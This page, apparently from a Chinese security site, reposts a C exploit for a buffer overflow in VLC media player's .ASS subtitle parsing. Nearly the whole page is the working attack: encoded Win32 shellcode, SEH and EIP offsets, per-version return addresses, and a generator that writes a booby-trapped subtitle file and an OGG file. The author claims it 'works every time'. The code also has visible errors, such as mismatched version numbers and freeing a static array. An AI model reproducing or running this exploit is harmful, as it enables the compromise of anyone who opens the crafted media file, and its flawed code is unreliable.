首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
来源:flo_flow_supremacy[at]yahoo.com 作者:fl0_fl0w 发布时间:2010-01-18  

/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
  [%]Works every time,works on any win32 OS,tested on Windows xp sp2.
 
  [%]My doctor said that I have seriuouse problems ,but I think he's full of it
     because the voices tell me I'm ok!*/
#include<stdio.h>
#include<string.h>
#include<stdint.h>

#define File            "subtitle666.ass"
#define OGGfile         "openme.ogg"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
#define WHILE(z)        while(z>0)
#define is_bigendian()  ((*(char*)&i)==0)
#define EIP_OFFSET      163852
#define SEH_OFFSET      165248
#define NEXTSEH_OFFSET  165244  
/*-------------prototypes---------*/
   //100% working shellcode
   char vlcshellcode[]=
   {
        "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
        "\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
        "\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
        "\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
        "\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
        "\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
        "\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
        "\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
        "\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
        "\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9"
   };     
   char data[]=
   {
        "[Script Info]\n"
        "; Script generated by Aegisub\n"
        "; http://www.aegisub.net\n"
        "Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n"
        "Original Script: RoRo\n"
        "Script Updated By: version 2.8.01\n"
        "ScriptType: v4.00+\n"
        "Collisions: Normal\n"
        "PlayResY: 600\n"
        "PlayDepth: 0\n"
        "Timer: 100,0000\n"
        "Video Aspect Ratio: 0\n"
        "Video Zoom: 6\n"
        "Video Position: 0\n"
        "[V4+ Styles]\n"
        "Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n"
        "Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n"
        "[Events]\n"
        "Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n"
        "Dialogue:" 
        "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception
   };        
   char banner[]=
   {
        "******************************************************************\n"
        "       VLC 0.6.8x Buffer overflow exploit(win32 universal)      *\n"  
        "                                                                 *\n"      
        "                          by fl0 fl0w                            *\n"
        "******************************************************************\n"
   }; 
   char arguments[]=
   {
        "---------------------------\n"
        "Too few args!              \n"
        "sploit.exe [target 1/2/3/4]\n"
        "---------------------------\n"
   };
  
    // data + 165254 nop + shellcode + szJMP(strcat)
  /*--------extern variables----------*/
     char b[1000000];
     char c[1000000];
     char d[1000000];
     char f[1000000]; //1402 bytes nop
     char seh[]="\x87\x75\x40\x4B"; 
     char nseh[]="\x38\xFA\x74\x02";
     int i;
     int input;
     char bf[4];
     int t;
    
 /*-------prototypes----------*/
     int buildF();
     int cpy(unsigned int,char*);
     void print(char*);
     void gen_random(char*, const int);
     unsigned int getFsize(FILE*,char*);
     int cpystr(char* dest,int,int);
     int oggf(char* fname);
     int Targetprint();
    
 /*--------ogg file format---------*/   
    typedef struct aa
    {  //28 bytes or 224 bits
     uint32_t   Cp;    // Capture pattern &#65533; 32 bits          
     uint8_t    Ver;    // Version &#65533; 8 bits
     uint8_t    H;    // Header type &#65533; 8 bits
     uint64_t   Gp;   //  Granule position &#65533; 64 bits
     uint32_t   Bsn;  //   Bitstream serial number &#65533; 32 bits
     uint32_t   Psn;  //   Page sequence number &#65533; 32 bits
     uint32_t   C;    // Checksum &#65533; 32 bits
     uint8_t    Ps;    // Page segments &#65533; 8 bits
     uint8_t    St;    // Segment table 8 bit
    }ogg;
/*------targets------------*/
     struct
     {
          unsigned int eip;
          char* etype; 
     }RET[]=
     {
     {
         0x026DFA38,
         "VLC 0.8.6       c"
     },
     {
         0x0263FA38,
         "VLC 0.8.6     b,d"
     },
     {
         0x0267FA38,
         "VLC 0.8.6       a"
     },
     {
         0x0267FA38,
         "VLC 0.8.6 b test1"
     },
     {
         0x02B6FA38,
         "VLC 0.8.6     RC1"
     },
     {
         NULL,NULL
     }
     };             
/*------main--------*/
    int main(int argc,char* argv[])
    {
          if(argc<2)
          {
           system("CLS");
          
           printf("%s%s",banner,arguments);
          
           Targetprint();exit(0);
           }
          
            input=atoi(argv[1]);          
         
            switch(input)
            {
                   case 0:
                   reverseInt(RET[0].eip);    
                   cpy(RET[0].eip,bf);      
                   break;
                  
                   case 1:
                   reverseInt(RET[1].eip);    
                   cpy(RET[1].eip,bf);
                   break;
                                
                   case 2:
                   reverseInt(RET[2].eip);    
                   cpy(RET[2].eip,bf);
                   break;
                                       
                   case 3:
                   reverseInt(RET[3].eip);    
                   cpy(RET[3].eip,bf);
                   break;
                                              
                   case 4:
                   reverseInt(RET[4].eip);    
                   cpy(RET[4].eip,bf);
                   break;
            }
                   printf("[!]Using : %s retaddress\n",RET[input].etype);
                   buildF(b);     oggf(OGGfile);     getchar();
        
        return 0;
    } 
    int buildF(unsigned int retn)
    {
        FILE *f=fopen(File,"wb");  
  
        IF(f,NULL)
        {
         print("File .ass error!"); exit(0);} 
         gen_random(b,165267); /*EIP offset 165267 bytes [EIP][NOP nopoffset=164667 bytes][SHELLCODE nopoffset+nrbytes nop]*/
         memcpy(b+EIP_OFFSET,bf,4);
         memset(b+EIP_OFFSET+4,0x90,10);
         memcpy(b+EIP_OFFSET+4+10,vlcshellcode,strlen(vlcshellcode));
        
         fprintf(f,"%s%s",data,b);   
         
         free(data); fclose(f);
          
         printf("[#]ASS file DONE!\n",getFsize(f,File));
          
         return 0;
    }     
    int oggf(char* fname)
    {
       FILE* g=fopen(fname,"wb");
          IF(g,NULL)
          {
                print("File ogg error");
                exit(0);    
          }
                ogg *W666;
                W666=(ogg*)malloc(sizeof(ogg));
                W666->Cp=0x5367674F;
                W666->Ver=0x00;         
                W666->H=0x02;
                W666->Gp=0x00000000;                
                W666->Bsn=0x000060B8;
                W666->Psn=0x00000000;
                W666->C=0xA403D2F8;
                W666->Ps=0x01;
                W666->St=0x1E;
        
                fwrite(W666,sizeof(W666),9,g);                                              
          
                fclose(g);   
          
                printf("[#]OGG file DONE!\n",getFsize(g,OGGfile)); 
                                   
                return 0;           
    }  
    int cpy(unsigned int source,char* dest)
    {
        int len;
        len=4;
        memcpy(dest,&source,len+1);
        return len;
    }    
    void print(char* msg)
    {
       printf("[*]%s\n",msg);
    }   
 
    void gen_random(char *s, const int len)
    {
      static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   
      FOR(i,0,len)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }
    unsigned int getFsize(FILE* g,char* gname)
    {
             unsigned int s;
           
             g=fopen(gname,"rb");
            
             IF(g,NULL)
             {
             print("File error at reading");
             exit(0);
             }           
             fseek(g,0,SEEK_END);
             s=ftell(g);
            
             return s;
    }
    int reverseInt(unsigned int i)
    {
             unsigned char c1, c2, c3, c4;
    
             if(is_bigendian())
    {
             return i;
    }else
    {
             c1=i&255;
             c2=(i>>8)&255;
             c3=(i>>16)&255;
             c4=(i>>24)&255;
             return((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4;
    }
    }
    int cpystr(char* dest,int str,int len)
    {
      memset(dest,str,len+1);
      return len;
    }
    int Targetprint()
    {
        print("Targets are:");
        for(t=0;t<5;t++)
        printf("[!]%s - [0x%d] - %d\n",RET[t].etype,RET[t].eip,t);
    }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Audiotran v1.4.1 direct RET BO
·Windows Media Player 11 Active
·Internet Explorer Aurora Explo
·Rosoft Media Player 4.4.4 Buff
·IE wshom.ocx ActiveX remote co
·Microsoft Internet Explorer "A
·BS.Player v2.51 Universal SEH
·IE wshom.ocx ActiveX Control R
·Linux Kernel 'fasync_helper()'
·Google SketchUp <= v7.1.6087 '
·Exploit EFS Software Easy Chat
·Aqua Real v1 and 2 Local Crash
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved